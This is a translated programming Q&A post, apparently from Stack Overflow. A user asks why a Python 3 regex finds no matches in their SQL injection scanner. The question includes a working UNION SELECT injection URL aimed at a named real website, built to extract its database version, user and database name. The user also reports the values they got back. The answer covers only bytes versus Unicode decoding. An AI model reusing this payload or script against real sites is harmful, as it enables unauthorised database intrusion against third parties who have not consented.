0

我在 Windows 8 中使用 python 3.3.0。下面的代码在 python 2.7.x 中成功运行

import re, urllib
import urllib.request

arg_end = "--"
url = "http://www.johandemeij.com/post.php?id=276+AND+1=2+UNION+SELECT+1,2,p0w3R,4,p0w3R,p0w3R,7,8,p0w3R,p0w3R--"

url = site.replace("p0w3R","concat(0x1e,0x1e,version(),0x1e,user(),0x1e,database(),0x1e,0x20)")+arg_end

requrl = urllib.request.Request(url)

response = urllib.request.urlopen(requrl)

source = response.read()

match = re.findall("\x1e\x1e\S+", str(source))

print("match>>>", match)

在这个脚本中,我在匹配变量中没有得到任何值!当我使用这个时:

match = re.findall("\x1e\x1e\S+", source)  

它给了我这样的错误:

TypeError: can't use a string pattern on a bytes-like object 

事实上,当我在浏览器中注入 url 时,我在特别易受攻击的列中得到如下结果。 5.1.61-0+squeeze1johan@localhostjohan_db

那么,那个 re 有什么问题或者我应该改变什么以及在哪里?当我试图在 python 文档的 re 模块中阅读 \x 时,我什么也没找到!或者可能是,我没有得到它。如果它易于理解,我呼吁您向我推荐一些与此相关的示例。

当我尝试将 1e 转换为字符串时,还有一件事没有给出任何结果!

我刚刚开始学习 python 3,我真的想创建一些有用的脚本,而不是编写简单的程序。所以,我试图在 python 3 中制作简单的 SQLi 扫描器。我从 darkMySQLi 工具中获得了灵感。

4

1 回答 1

0

默认情况下,普通字符串文字""在 Python 2 中是字节字符串,但在 Python 3 中它们是 Unicode 字符串。b""在两个版本中都创建一个字节字符串。

阅读Python 中字节和字符串 (Unicode)之间的区别。

您可以使用urllib.parse.urlencode({'id': '276 AND ...'})构造 url 查询,将source字节解码为 Unicode source.decode(encoding)(如何查找字符编码取决于内容类型)。例如,如果charsetContent-Type http header 中有参数:

import cgi

# extract encoding from Content-Type and print the response
_, params = cgi.parse_header(response.headers.get('Content-Type', ''))
print(response.read().decode(params['charset']))
于 2012-10-25T21:38:15.673 回答